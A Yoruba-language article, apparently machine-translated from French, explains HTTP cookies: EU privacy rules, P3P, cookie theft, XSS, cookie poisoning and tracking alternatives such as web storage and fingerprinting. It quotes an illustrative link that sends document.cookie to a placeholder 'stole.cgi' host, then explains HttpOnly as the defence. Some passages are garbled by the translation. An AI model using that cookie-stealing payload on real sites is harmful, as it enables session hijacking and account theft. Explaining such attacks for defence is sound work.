Ohun elo yii ti ni imudojuiwọn nipasẹ Itọsọna 2009/136/EC ti ọjọ Oṣu kọkanla ọjọ 25, ọdun 2009 eyiti o sọ pe “ipamọ alaye, tabi gbigba iraye si alaye ti o ti fipamọ tẹlẹ, ninu ohun elo ebute ti alabapin tabi olumulo ni a gba laaye nikan ni majemu wipe alabapin tabi olumulo ti fi ase re, lẹhin ti ntẹriba gba, ni ibamu pẹlu šẹ 95/46/EC, ko o ati pipe alaye, laarin awọn miiran lori awọn idi ti awọn processing ". Nitorinaa itọsọna tuntun n mu awọn adehun lagbara ṣaaju gbigbe awọn kuki sori kọnputa olumulo Intanẹẹti.

Ninu awọn akiyesi alakoko ti itọsọna naa, aṣofin Ilu Yuroopu ṣalaye sibẹsibẹ: “Nibiti o ti ṣee ṣe ni imọ-ẹrọ ati imunadoko, ni ibamu pẹlu awọn ipese ti o yẹ ti Itọsọna 95/46/EC, aṣẹ ti olumulo pẹlu iyi si sisẹ naa le ṣafihan nipasẹ lilo awọn eto ti o yẹ fun ẹrọ aṣawakiri tabi ohun elo miiran”. Ṣugbọn ni otitọ, ko si aṣawakiri titi di oni ti o jẹ ki o ṣee ṣe lati yapa awọn kuki imọ-ẹrọ pataki lati awọn aṣayan eyiti o yẹ ki o fi silẹ si yiyan olumulo.

Ilana tuntun yii jẹ iyipada nipasẹ awọn ọmọ ile-igbimọ Belgian ni Oṣu Keje ọdun 2012. Iwadii 2014 fihan pe paapaa awọn ọmọ ile-igbimọ Ijakadi lati lo awọn ihamọ ti itọsọna naa.

P3P

P3P sipesifikesonu pẹlu agbara fun olupin lati sọ eto imulo ipamọ kan, eyiti o ṣalaye iru alaye ti o gba ati fun idi wo. Awọn eto imulo wọnyi pẹlu (ṣugbọn ko ni opin si) lilo alaye ti a gba nipa lilo awọn kuki. Gẹgẹbi awọn itumọ ti P3P, ẹrọ aṣawakiri le gba tabi kọ awọn kuki nipa fifiwera awọn eto imulo ipamọ pẹlu awọn ayanfẹ olumulo tabi nipa bibeere olumulo, ṣafihan alaye ikọkọ ti eto imulo asiri ti olupin ti kede.

Ọpọlọpọ awọn aṣawakiri, pẹlu Apple Safari ati Microsoft Internet Explorer awọn ẹya 6 ati 7, ṣe atilẹyin P3P eyiti ngbanilaaye aṣawakiri lati pinnu boya lati gba ibi ipamọ kuki ẹnikẹta. Ẹrọ aṣawakiri Opera gba awọn olumulo laaye lati kọ awọn kuki ẹni-kẹta ati lati ṣẹda profaili aabo agbaye ati pato fun awọn ibugbe Intanẹẹti. Mozilla Firefox version 2 silẹ atilẹyin P3P ṣugbọn tun pada si ni ẹya 3.

Awọn kuki ẹni-kẹta le dina nipasẹ ọpọlọpọ awọn aṣawakiri lati mu aṣiri pọ si ati dinku titọpa ipolowo, laisi ni ipa odi ni iriri iriri wẹẹbu olumulo. Ọpọlọpọ awọn ile-iṣẹ ipolowo nfunni ni aṣayan kan jade lairotẹlẹ si ipolowo ìfọkànsí, nipa siseto kuki jeneriki kan ninu ẹrọ aṣawakiri eyiti o mu iṣiṣẹ ibi-afẹde yii ṣiṣẹ, ṣugbọn iru ojutu kan ko munadoko, nigbati o ba bọwọ, nitori kuki jeneriki yii ti paarẹ ni kete ti olumulo ba paarẹ awọn kuki wọnyi ti o fagile ijade naa. jade ipinnu.

Awọn alailanfani ti awọn kuki

Ni afikun si awọn ọran aṣiri, awọn kuki tun ni diẹ ninu awọn abawọn imọ-ẹrọ. Ni pataki, wọn ko ṣe idanimọ awọn olumulo ni deede, wọn le fa fifalẹ iṣẹ ṣiṣe aaye nigba ti awọn nọmba nla, wọn le ṣee lo fun awọn ikọlu aabo, ati pe wọn tako pẹlu gbigbe ipinlẹ aṣoju, aṣa ayaworan ti sọfitiwia naa.

Idanimọ aiṣedeede

Ti o ba ti lo ẹrọ aṣawakiri diẹ sii lori kọnputa kan, ninu ọkọọkan wọn nigbagbogbo ni ẹyọ ipamọ lọtọ fun awọn kuki. Nitorina awọn kuki ko ṣe idanimọ eniyan, ṣugbọn apapo akọọlẹ olumulo kan, kọnputa kan, ati ẹrọ aṣawakiri wẹẹbu kan. Nitorinaa, ẹnikẹni le lo awọn akọọlẹ wọnyi, awọn kọnputa, tabi awọn aṣawakiri ti o ni panoply ti awọn kuki. Bakanna, awọn kuki ko ṣe iyatọ laarin awọn olumulo lọpọlọpọ ti o pin akọọlẹ olumulo kanna, kọnputa, ati ẹrọ aṣawakiri, gẹgẹbi ni “awọn kafe intanẹẹti” tabi aaye eyikeyi ti n fun ni iraye si ọfẹ si awọn orisun kọnputa.

Ṣugbọn ni iṣe, alaye yii yoo jade lati jẹ iro ni ọpọlọpọ awọn ọran nitori loni kọnputa “ti ara ẹni” (tabi foonuiyara, tabi tabulẹti, eyiti o buru julọ) ni a lo nipataki nipasẹ ẹni kan. nipasẹ iwọn didun alaye ti o gba de ibi ibi-afẹde ti ara ẹni paapaa ti eniyan ko ba jẹ idanimọ “eyun”.

Kukisi le jẹ ji nipasẹ kọnputa miiran lori nẹtiwọki.

Lakoko iṣẹ ṣiṣe deede, awọn kuki ni a firanṣẹ pada laarin olupin (tabi ẹgbẹ kan ti olupin ni agbegbe kanna) ati ẹrọ aṣawakiri kọnputa olumulo. Niwọn bi awọn kuki le ni alaye ifarabalẹ ninu (orukọ olumulo, ọrọ igbaniwọle ti a lo fun ijẹrisi, ati bẹbẹ lọ), awọn iye wọn ko yẹ ki o wa si awọn kọnputa miiran. Ole kukisi jẹ iṣe ti awọn kukisi ti awọn kuki nipasẹ ẹni kẹta laigba aṣẹ.

Awọn kuki le jẹ ji nipasẹ sniffer apo kan ninu ikọlu ti a pe ni hijacking igba. O le gba ijabọ lori nẹtiwọọki ati kika nipasẹ awọn kọnputa miiran yatọ si awọn fifiranṣẹ ati gbigba (paapaa lori aaye Wi-Fi ti gbogbo eniyan ti ko pa akoonu). Ijabọ yii pẹlu awọn kuki ti a firanṣẹ lori awọn akoko nipa lilo ilana HTTP pẹtẹlẹ. Nigbati ijabọ nẹtiwọọki ko ba ti paroko, awọn olumulo irira le nitorinaa ka awọn ibaraẹnisọrọ ti awọn olumulo miiran lori nẹtiwọọki nipa lilo “awọn sniffers packet”.

Iṣoro yii le bori nipasẹ fifipamọ asopọ laarin kọnputa olumulo ati olupin nipa lilo ilana HTTPS. Olupin le pato kan asia to ni aabo nigba ti ṣeto kuki; ẹrọ aṣawakiri yoo firanṣẹ nikan lori laini to ni aabo, gẹgẹbi asopọ SSL.

Sibẹsibẹ ọpọlọpọ awọn aaye, botilẹjẹpe lilo awọn ibaraẹnisọrọ HTTPS ti paroko fun ijẹrisi olumulo (ie oju-iwe iwọle), firanṣẹ awọn kuki igba ati awọn data miiran bi o ṣe deede, nipasẹ awọn asopọ HTTP ti ko paro fun awọn idi ṣiṣe. Awọn ikọlu le ṣe idilọwọ awọn kuki awọn olumulo miiran ki o ṣe afarawe wọn lori awọn aaye ti o yẹ tabi lo wọn ni ikọlu kuki.

Akosile ni aaye naa: kuki kan ti o yẹ ki o paarọ laarin olupin nikan ati alabara ni a firanṣẹ si ẹgbẹ kẹta miiran.

Ọnà miiran lati ji awọn kuki ni lati awọn aaye iwe afọwọkọ ati pe ẹrọ aṣawakiri funrararẹ firanṣẹ awọn kuki si awọn olupin irira ti ko gba wọn rara. Awọn aṣawakiri ode oni ngbanilaaye ipaniyan ti awọn ẹya wiwa koodu lati olupin naa. Ti wọn ba wọle si awọn kuki lakoko asiko ṣiṣe, awọn iye wọn le jẹ ibaraẹnisọrọ ni ọna kan si awọn olupin ti ko yẹ ki o wọle si wọn. Awọn kuki fifi ẹnọ kọ nkan ṣaaju fifiranṣẹ wọn lori nẹtiwọọki ko ṣe iranlọwọ lati dena ikọlu naa.

Iru iru iwe afọwọkọ inu-aaye yii jẹ deede oojọ ti nipasẹ awọn ikọlu lori awọn aaye ti o gba awọn olumulo laaye lati fi akoonu HTML ranṣẹ. Nipa sisọpọ apakan kan ti koodu ibaramu ninu ilowosi HTML, ikọlu le gba awọn kuki lati ọdọ awọn olumulo miiran. Imọ ti awọn kuki wọnyi le ṣee lo nipa sisopọ si aaye kanna ni lilo awọn kuki ti o ji, nitorina ni a mọ bi olumulo ti wọn ji awọn kuki rẹ.

Ọna kan lati ṣe idiwọ iru awọn ikọlu ni lati lo asia HttpOnly; o jẹ aṣayan kan, ti a ṣe lati ẹya 6 ti Internet Explorer ni PHP lati ẹya 5.2.0 eyiti a gbero lati jẹ ki kuki naa ko wọle si alabara ti o sunmọ iwe afọwọkọ naa. Sibẹsibẹ, awọn olupilẹṣẹ wẹẹbu yẹ ki o ṣe akiyesi eyi sinu idagbasoke aaye wọn ki wọn jẹ ajesara si iwe afọwọkọ ni aaye naa.

Irokeke aabo miiran ti a lo ni iṣelọpọ eletan ni aaye naa.

Sipesifikesonu imọ-ẹrọ osise ngbanilaaye awọn kuki lati firanṣẹ pada si awọn olupin nikan ni agbegbe ti wọn ti ipilẹṣẹ. Sibẹsibẹ, iye awọn kuki le ṣee firanṣẹ si awọn olupin miiran nipa lilo awọn ọna miiran ju awọn akọle kuki lọ.

Ni pataki, awọn ede kikọ bi JavaScript ni gbogbogbo gba laaye lati wọle si awọn iye kuki ati pe o lagbara lati firanṣẹ awọn iye lainidii si olupin eyikeyi lori Intanẹẹti. Agbara iwe afọwọkọ yii jẹ lilo lati awọn oju opo wẹẹbu gbigba awọn olumulo laaye lati fi akoonu HTML ranṣẹ fun awọn olumulo miiran lati wo.

Fun apẹẹrẹ, ikọlu ti n ṣiṣẹ lori aaye apẹẹrẹ.com le firanṣẹ asọye kan ti o ni ọna asopọ atẹle ti n tọka si bulọọgi olokiki ti wọn ko ṣakoso bibẹẹkọ:

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

Nigbati olumulo miiran ba tẹ ọna asopọ yii, ẹrọ aṣawakiri naa ṣiṣẹ apakan ikalara ti tẹ ti koodu naa, nitorinaa o rọpo okun dokumenti.cookie pẹlu atokọ ti awọn kuki olumulo ti o ṣiṣẹ fun oju-iwe yii. Nitorinaa, atokọ ti awọn kuki yii ni a fi ranṣẹ si olupin example.com, ati pe olukọlu ni anfani lati gba awọn kuki ti olumulo yii.

Iru ikọlu yii nira lati rii ni ẹgbẹ olumulo nitori iwe afọwọkọ naa wa lati agbegbe kanna ti o ṣeto kuki naa, ati pe iṣẹ ṣiṣe lati firanṣẹ awọn iye han lati fun ni aṣẹ nipasẹ agbegbe yẹn. A gba pe o jẹ ojuṣe awọn alabojuto ti n ṣiṣẹ iru aaye yii lati fi awọn ihamọ si ibi ti o ṣe idiwọ titẹjade koodu irira.

Awọn kuki ko han taara si awọn eto ẹgbẹ alabara bi JavaScript ti wọn ba firanṣẹ pẹlu asia HttpOnly. Lati oju wiwo olupin, iyatọ nikan ni pe ni laini ti akọsori Set-Cookie nibẹ ti ṣafikun aaye tuntun ti o ni okun HttpOnly:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

Nigbati ẹrọ aṣawakiri ba gba iru kuki kan, o yẹ ki o lo deede ni paṣipaarọ HTTP atẹle, ṣugbọn laisi jẹ ki o han si awọn iwe afọwọkọ ti a ṣe ni ẹgbẹ alabara. Asia HttpOnly kii ṣe apakan ti eyikeyi sipesifikesonu imọ-ẹrọ osise, ati pe ko ṣe imuse ni gbogbo awọn aṣawakiri. Ṣe akiyesi pe lọwọlọwọ ko si ọna lati ṣe idiwọ kika ati kikọ awọn kuki igba nipasẹ ọna XMLHTTPREquest.

Iyipada akoonu: Olukọni fi kukisi ti ko tọ si olupin kan, o ṣee ṣe lati kuki ti o wulo ti olupin firanṣẹ.

Ni kete ti awọn kuki naa nilo lati wa ni ipamọ ati da pada laisi iyipada si olupin, ikọlu le yi iye awọn kuki naa pada ṣaaju ki wọn to firanṣẹ pada si olupin naa. Fun apẹẹrẹ, ti kuki kan ba ni iye lapapọ ti olumulo ni lati sanwo fun awọn ohun ti a gbe sinu apo rira ile itaja, yiyipada iye yii han olupin si ewu ti gbigba agbara ikọlu naa kere ju idiyele ibẹrẹ. Ilana ti iyipada iye awọn kuki ni a pe oloro kukisi ati pe o le ṣee lo lẹhin ole kukisi lati jẹ ki ikọlu naa tẹsiwaju.

Ni ọna kuki ti o bori, ikọlu naa lo aṣiṣe aṣawakiri kan lati fi kuki ti ko tọ ranṣẹ si olupin naa.

Pupọ awọn oju opo wẹẹbu, sibẹsibẹ, tọju ID igba kan nikan - nọmba alailẹgbẹ ti ipilẹṣẹ laileto ti a lo lati ṣe idanimọ olumulo igba - ninu kuki funrararẹ, lakoko ti gbogbo alaye miiran ti wa ni ipamọ sori olupin naa. Ni idi eyi, isoro yi ti wa ni ibebe re.

Aaye kọọkan ni a nireti lati ni awọn kuki tirẹ, nitorinaa aaye kan ko yẹ ki o ni anfani lati yipada tabi ṣẹda awọn kuki ti o ni nkan ṣe pẹlu aaye miiran. Aṣiṣe aabo ẹrọ aṣawakiri wẹẹbu le gba awọn aaye irira laaye lati ṣẹ ofin yii. Awọn ilokulo ti iru a abawọn ti wa ni commonly tọka si bi agbelebu-ojula sise. Idi ti iru awọn ikọlu le jẹ ole ID igba.

Awọn olumulo yẹ ki o lo awọn ẹya tuntun ti awọn aṣawakiri wẹẹbu ninu eyiti awọn ailagbara wọnyi ti fẹrẹ parẹ.

Rogbodiyan ipinle laarin ose ati olupin

Lilo awọn kuki le ṣe ipilẹṣẹ ilodi laarin ipo alabara ati ipinlẹ ti o fipamọ sinu kuki. Ti olumulo ba gba kuki kan ti o tẹ bọtini “Pada” ti ẹrọ aṣawakiri naa, ipo aṣawakiri naa ni gbogbogbo kii ṣe bakanna ṣaaju ohun-ini yii. Fun apẹẹrẹ, ti o ba ṣẹda agbọn ti ile itaja ori ayelujara nipa lilo awọn kuki, awọn akoonu inu agbọn ko le yipada nigbati olumulo ba pada si itan-akọọlẹ aṣawakiri: ti olumulo ba tẹ bọtini kan lati ṣafikun nkan kan ninu agbọn rẹ ki o tẹ “Pada” Bọtini, nkan naa wa ninu ọkan yii. Eyi le ma jẹ aniyan ti olumulo, ti o dajudaju fẹ fagilee afikun nkan naa. Eyi le ja si aigbẹkẹle, iporuru, ati awọn idun. Nitorinaa awọn olupilẹṣẹ wẹẹbu yẹ ki o mọ iṣoro yii ati ṣe awọn igbese lati mu awọn ipo bii eyi.

Awọn kuki alaigbagbọ ti ṣofintoto nipasẹ awọn amoye aabo asiri fun ko ṣeto lati pari laipẹ, nitorinaa gbigba awọn oju opo wẹẹbu laaye lati tọpa awọn olumulo ati kọ profaili wọn ni akoko pupọ. Abala yii ti awọn kuki tun jẹ apakan ti iṣoro ifasilẹ igba, nitori kuki ti o tẹpẹlẹ ji le ṣee lo lati ṣe afarawe olumulo kan fun igba pipẹ.

Lati ka tun: GAFAM: awon wo ni? Kilode ti wọn (nigbakugba) bẹru?

Awọn yiyan si cookies

Diẹ ninu awọn iṣẹ ṣiṣe ti o le ṣee ṣe nipa lilo awọn kuki tun le ṣee ṣe ni lilo awọn ọna ṣiṣe miiran ti o fori kuki tabi tun ṣe awọn kuki paarẹ, eyiti o ṣẹda awọn ọran ikọkọ ni ọna kanna (tabi nigbakan buru nitori lẹhinna airi) ju awọn kuki lọ.

Adirẹsi IP

Awọn olumulo le ṣe atẹle pẹlu adiresi IP ti kọnputa ti n pe oju-iwe naa. Ilana yii ti wa lati ibẹrẹ ti Oju opo wẹẹbu Wide Agbaye, bi awọn oju-iwe ti ṣe igbasilẹ awọn olupin n beere adirẹsi IP ti kọnputa ti nṣiṣẹ ẹrọ aṣawakiri tabi aṣoju, ti ko ba si ọkan ti a lo. Olupin naa le tọpa alaye yii boya boya awọn kuki wa ni lilo tabi rara. Sibẹsibẹ, awọn adirẹsi wọnyi ko ni igbẹkẹle nigbagbogbo ni idamo olumulo kan ju kukisi nitori awọn kọnputa ati awọn aṣoju le jẹ pinpin nipasẹ awọn olumulo lọpọlọpọ, ati kọnputa kanna le gba adiresi IP ti o yatọ lori igba iṣẹ kọọkan (bii c nigbagbogbo ọran fun awọn asopọ tẹlifoonu) .

Ipasẹ nipasẹ awọn adirẹsi IP le jẹ igbẹkẹle ni diẹ ninu awọn ipo, gẹgẹbi awọn asopọ gbohungbohun ti o ṣetọju adiresi IP kanna fun igba pipẹ, niwọn igba ti agbara ba wa ni titan.

Diẹ ninu awọn ọna ṣiṣe bii Tor jẹ apẹrẹ lati ṣetọju ailorukọ ti Intanẹẹti ati jẹ ki ipasẹ nipasẹ adiresi IP ko ṣee ṣe tabi aṣeṣe.

URL

Ilana kongẹ diẹ sii da lori ifibọ alaye ni URL. Okun ibeere ti URL jẹ ilana kan ti a lo nigbagbogbo fun idi eyi, ṣugbọn awọn ẹya miiran le ṣee lo pẹlu. Mejeeji olupin Java ati awọn ilana igba PHP lo ọna yii ti awọn kuki ko ba ṣiṣẹ.

Ọna yii jẹ pẹlu olupin wẹẹbu fifi awọn ibeere okun kun si awọn ọna asopọ oju-iwe wẹẹbu ti o gbe nigbati o firanṣẹ si ẹrọ aṣawakiri. Nigbati olumulo ba tẹle ọna asopọ kan, ẹrọ aṣawakiri naa da okun ibeere ti o so mọ pada si olupin naa.

Awọn gbolohun ọrọ ibeere ti a lo fun idi eyi ati awọn kuki jọra pupọ, mejeeji jẹ alaye lainidii ti olupin yan ati pada nipasẹ ẹrọ aṣawakiri. Sibẹsibẹ, awọn iyatọ diẹ wa: nigbati URL ti o ni okun ibeere kan ba tun lo, alaye kanna ni a fi ranṣẹ si olupin naa. Fún àpẹrẹ, tí àwọn ìfẹ́fẹ̀ẹ́ oníṣe kan bá jẹ́ fífi koodu sí ọ̀rọ̀ ìbéèrè URL kan, tí oníṣe náà sì fi URL yẹn ránṣẹ́ sí aṣàmúlò míràn nípasẹ̀ í-meèlì, oníṣe náà yóò tún lè lo àwọn ìfẹ́ràn wọ̀nyẹn.

Ni apa keji, nigbati olumulo ba wọle si oju-iwe kanna lẹẹmeji, ko si iṣeduro pe okun ibeere kanna yoo ṣee lo ni awọn igba mejeeji. Fun apẹẹrẹ, ti olumulo kan ba de si oju-iwe kan lati oju-iwe oju-iwe inu ni igba akọkọ ti o de si oju-iwe kanna lati oju-iwe ita ni akoko keji, okun ibeere ti o ni ibatan si oju-iwe aaye jẹ igbagbogbo yatọ, lakoko ti awọn kuki jẹ kanna. .

Awọn aila-nfani miiran ti awọn gbolohun ọrọ ibeere ni ibatan si aabo: titọju data ti o ṣe idanimọ igba kan ninu awọn gbolohun ọrọ ibeere jẹ ki o rọrun tabi jẹ ki awọn ikọlu imuduro igba di irọrun, awọn ikọlu itọkasi idamọ, ati awọn ilokulo miiran. Gbigbe awọn ID igba bi awọn kuki HTTP jẹ aabo diẹ sii.

Farasin aaye fọọmu

Ọna kan ti ipasẹ igba, ti ASP.NET lo, ni lati lo awọn fọọmu wẹẹbu pẹlu awọn aaye ti o farapamọ. Ilana yii jẹ iru pupọ si lilo awọn okun ibeere URL lati gbe alaye ati pe o ni awọn anfani ati awọn alailanfani kanna; ati pe ti fọọmu naa ba ni ilọsiwaju pẹlu ọna HTTP GET, awọn aaye naa di apakan URL ti ẹrọ aṣawakiri ti yoo firanṣẹ nigbati o ba fi fọọmu naa silẹ. Ṣugbọn ọpọlọpọ awọn fọọmu ni a ṣe pẹlu HTTP POST, eyiti o fa alaye fọọmu naa, pẹlu awọn aaye ti o farapamọ, lati ṣafikun bi afikun igbewọle ti kii ṣe apakan URL tabi kuki.

Ọna yii ni awọn anfani meji lati irisi ipasẹ: akọkọ, titele alaye ti a gbe sinu koodu orisun HTML ati titẹ sii POST dipo URL yoo jẹ ki olumulo apapọ lati yago fun titele yii; keji, alaye igba ko ni daakọ nigbati olumulo ba da URL naa (lati fi oju-iwe pamọ si disk tabi firanṣẹ nipasẹ imeeli, fun apẹẹrẹ).

window.orukọ

Gbogbo awọn aṣawakiri wẹẹbu ti o wọpọ le ṣafipamọ iye nla ti data (2MB si 32MB) nipasẹ JavaScript nipa lilo ohun-ini window.name DOM. Data yii le ṣee lo dipo awọn kuki igba ati pe o tun lo kọja awọn ibugbe. Ilana naa le ṣe pọ pẹlu awọn nkan JSON lati tọju akojọpọ eka ti awọn oniyipada igba ẹgbẹ-ẹgbẹ.

Awọn isalẹ ni wipe kọọkan lọtọ window tabi taabu yoo wa lakoko ni ohun ṣofo window.name; nigba lilọ kiri nipasẹ awọn taabu (ṣii nipasẹ olumulo) eyi tumọ si pe awọn taabu ti o ṣii ni ẹyọkan kii yoo ni orukọ window kan. Ni afikun window.name le ṣee lo lati tọpa awọn alejo kọja awọn aaye oriṣiriṣi eyiti o le fa ọrọ aṣiri kan.

Ni diẹ ninu awọn ọna eyi le jẹ aabo diẹ sii ju awọn kuki lọ, nitori aisi ilowosi ti olupin, nitorinaa jẹ ki o jẹ alailagbara si ikọlu nẹtiwọọki ti awọn kuki sniffer. Sibẹsibẹ, ti o ba ṣe awọn igbese pataki lati daabobo data naa, o jẹ ipalara si awọn ikọlu siwaju, nitori data wa nipasẹ awọn aaye miiran ti o ṣii ni window kanna.

HTTP ìfàṣẹsí

Ilana HTTP pẹlu awọn ilana ijẹrisi iraye si ipilẹ ati ijẹri iwọle, eyiti ngbanilaaye iwọle si oju-iwe wẹẹbu nikan nigbati olumulo ba ti fun orukọ olumulo ati ọrọ igbaniwọle. Ti olupin naa ba beere ijẹrisi kan lati fun ni iraye si oju-iwe wẹẹbu kan, ẹrọ aṣawakiri naa beere lọwọ olumulo ati ni kete ti o ti gba, aṣawakiri naa tọju rẹ ati firanṣẹ ni gbogbo awọn ibeere HTTP ti o tẹle. Alaye yii le ṣee lo lati tọpa olumulo naa.

Ohun ti o pin agbegbe

Ti ẹrọ aṣawakiri kan ba pẹlu ohun itanna Adobe Flash Player, ni agbegbe pín ohun le ṣee lo fun idi kanna bi kukisi. Wọn le jẹ yiyan ti o wuyi fun awọn olupilẹṣẹ wẹẹbu nitori:

  • Iwọn iwọn aiyipada fun ohun ti o pin agbegbe jẹ 100 KB;
  • Awọn sọwedowo aabo yato si awọn sọwedowo kuki olumulo (nitorinaa awọn nkan pinpin agbegbe le gba laaye nigbati awọn kuki kii ṣe).

Ojuami ti o kẹhin yii, eyiti o ṣe iyatọ ilana iṣakoso kukisi lati ti awọn nkan pinpin agbegbe ti Adobe ji ibeere nipa iṣakoso nipasẹ olumulo ti awọn eto aṣiri rẹ: o gbọdọ mọ pe iṣakoso awọn kuki rẹ ko ni ipa lori iṣakoso ti awọn nkan pinpin agbegbe, ati ni idakeji.

Atako miiran ti eto yii ni pe o le ṣee lo nipasẹ ohun itanna Adobe Flash Player eyiti o jẹ ohun-ini ati kii ṣe boṣewa wẹẹbu kan.

Onibara-ẹgbẹ itẹramọṣẹ

Diẹ ninu awọn ẹrọ aṣawakiri wẹẹbu ṣe atilẹyin ẹrọ ṣiṣe ti o da lori iwe afọwọkọ, eyiti o gba oju-iwe laaye lati tọju alaye ni agbegbe fun lilo nigbamii. Internet Explorer, fun apẹẹrẹ, ṣe atilẹyin alaye ti o tẹpẹlẹ ninu itan aṣawakiri, awọn bukumaaki, ni ọna kika ti a fipamọ sinu XML, tabi taara pẹlu oju-iwe wẹẹbu ti o fipamọ sori disk. Fun Microsoft Internet Explorer 5, ọna olumulo-data wa nipasẹ awọn ihuwasi DHTML.

W3C ṣe afihan ni HTML 5 API JavaScript tuntun fun ibi ipamọ data ẹgbẹ-ẹgbẹ ti a pe ni ibi ipamọ wẹẹbu ati pe o ni ero lati rọpo kuki patapata. O jọra si awọn kuki ṣugbọn pẹlu agbara ilọsiwaju pupọ ati laisi ifipamọ alaye ni akọsori ti awọn ibeere HTTP. API ngbanilaaye awọn iru ibi ipamọ wẹẹbu meji: ibi ipamọ agbegbe ati ibi ipamọ igba, iru si awọn kuki ti o tẹpẹlẹ ati awọn kuki igba (ayafi pe awọn kuki igba pari nigbati ẹrọ aṣawakiri ba wa ni pipade lakoko ibi ipamọ igba pari nigbati taabu ba wa ni pipade), lẹsẹsẹ. Ibi ipamọ wẹẹbu jẹ atilẹyin nipasẹ Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 ati Opera 10.50.

Ilana ti o yatọ ni deede gbarale caching ẹrọ aṣawakiri (ni iranti dipo isọdọtun) ni lilo awọn eto JavaScript ni awọn oju-iwe wẹẹbu. 

Fun apẹẹrẹ, oju-iwe kan le ni tag ninu . La première fois que la page se charge, le programme exemple.js est aussi chargé. 

Ni aaye yii, eto naa wa ni iranti kaṣe ati pe oju-iwe ti o ṣabẹwo ko tun gbejade ni akoko keji. Nitoribẹẹ, ti eto naa ba ni oniyipada agbaye kan (fun apẹẹrẹ var id = 3243242;), idanimọ yii wa wulo ati pe o le lo nipasẹ koodu JavaScript miiran ni kete ti oju-iwe naa ba tun ti kojọpọ, tabi ni kete ti oju-iwe ti o so eto naa ti kojọpọ. 

Aila-nfani pataki ti ọna yii ni pe oniyipada JavaScript agbaye gbọdọ jẹ aimi, afipamo pe ko le yipada tabi paarẹ bi kuki kan.

itẹka aṣàwákiri wẹẹbù

Ika ẹrọ aṣawakiri jẹ alaye ti a gba nipa awọn eto atunto ẹrọ aṣawakiri kan fun awọn idi idanimọ. Awọn ika ọwọ wọnyi le ṣee lo lati ṣe idanimọ ni kikun tabi apakan apakan olumulo Intanẹẹti tabi ẹrọ paapaa nigbati awọn kuki jẹ alaabo.

Alaye atunto ẹrọ aṣawakiri wẹẹbu ti pẹ ni a ti gba nipasẹ awọn iṣẹ olugbo oju opo wẹẹbu fun idi ti iwọn deede ijabọ oju opo wẹẹbu eniyan ati wiwa awọn ọna oriṣiriṣi ti tẹ ẹtan. Pẹlu iranlọwọ ti awọn ede iwe afọwọkọ ẹgbẹ alabara, ikojọpọ alaye deede diẹ sii jẹ bayi ṣee ṣe.

Yiyipada alaye yii sinu okun diẹ ṣe agbejade itẹka ẹrọ kan. Ni ọdun 2010, Itanna Frontier Foundation (EFF) ṣe iwọn entropy ti itẹka ẹrọ aṣawakiri lati jẹ o kere ju. 18,1 die-die, ati pe iyẹn ṣaaju awọn ilọsiwaju ni titẹ ika ika kanfasi ṣafikun awọn bit 5,7 si entropy yẹn.

Awọn kuki ni kukuru

Awọn kuki jẹ awọn faili ọrọ kekere ti o tọju nipasẹ ẹrọ aṣawakiri wẹẹbu lori dirafu lile alejo aaye ayelujara ati eyiti a lo (laarin awọn ohun miiran) lati ṣe igbasilẹ alaye nipa alejo tabi irin-ajo wọn nipasẹ aaye naa. Ọga wẹẹbu le ṣe idanimọ awọn isesi ti alejo ki o ṣe adaṣe igbejade aaye rẹ fun alejo kọọkan; Awọn kuki lẹhinna jẹ ki o ṣee ṣe lati ranti iye awọn nkan lati ṣafihan lori oju-iwe ile tabi paapaa lati ṣe idaduro awọn ẹri iwọle fun eyikeyi ẹgbẹ aladani: nigbati alejo ba pada si aaye naa, ko ṣe pataki fun u lati tẹ orukọ rẹ ati ọrọ igbaniwọle si wa ni mọ, niwon ti won ti wa ni laifọwọyi ka ni kukisi.

Kuki kan ni iye igbesi aye to lopin, ti a ṣeto nipasẹ onise aaye. Wọn tun le pari ni opin igba lori aaye naa, eyiti o ni ibamu si pipade ẹrọ aṣawakiri naa. Awọn kuki ni lilo pupọ lati jẹ ki igbesi aye rọrun fun awọn alejo ki o ṣafihan wọn pẹlu alaye ti o wulo diẹ sii. Ṣugbọn awọn ilana pataki jẹ ki o ṣee ṣe lati tẹle alejo kan lori awọn aaye pupọ ati nitorinaa lati gba ati ṣayẹwo-ṣayẹwo alaye lọpọlọpọ lori awọn aṣa rẹ. Ọna yii ti fun lilo awọn kuki ni orukọ bi ilana iwo-kakiri ti o rú aṣiri ti awọn alejo, eyiti o jẹ laanu ni ibamu si otitọ ni ọpọlọpọ awọn ọran ti lilo fun awọn idi ti kii ṣe imọ-ẹrọ tabi ko bọwọ fun awọn ireti olumulo. .

Ni idahun si awọn ibẹru ti o tọ, HTML 5 ṣafihan JavaScript tuntun API fun ibi ipamọ data ẹgbẹ-ẹgbẹ ti a pe ni ibi ipamọ wẹẹbu, eyiti o ni aabo pupọ ati pẹlu agbara nla, eyiti o ni ero lati rọpo awọn kuki.

Ibi ipamọ ti awọn kukisi

Pẹlu diẹ ninu awọn aṣawakiri, kuki kan jẹ atunṣe ni irọrun, olootu ọrọ ti o rọrun bi Akọsilẹ ti to lati yi awọn iye rẹ pada pẹlu ọwọ.

Awọn kuki ti wa ni ipamọ lọtọtọ da lori ẹrọ aṣawakiri:

  • Microsoft Internet Explorer fipamọ kuki kọọkan ni oriṣiriṣi faili;
  • Mozilla Akata fi gbogbo awọn kuki rẹ pamọ sinu faili kan;
  • Opera fipamọ gbogbo awọn kuki rẹ sinu faili ẹyọkan ati fifipamọ wọn (ko ṣee ṣe lati yipada ayafi ninu awọn aṣayan sọfitiwia);
  • Apple Safari fi gbogbo kuki rẹ pamọ sinu faili itẹsiwaju .plist ẹyọkan. Iyipada ṣee ṣe ṣugbọn kii ṣe rọrun pupọ, ayafi ti o ba lọ nipasẹ awọn aṣayan sọfitiwia.

Awọn aṣawakiri nilo lati ṣe atilẹyin minima kan :

  • 300 igbakana cookies;
  • 4 o fun kukisi;
  • 20 cookies fun ogun tabi ašẹ.
[Lapapọ: 0 Itumo: 0]

kọ nipa Awọn Olootu Awọn atunyẹwo

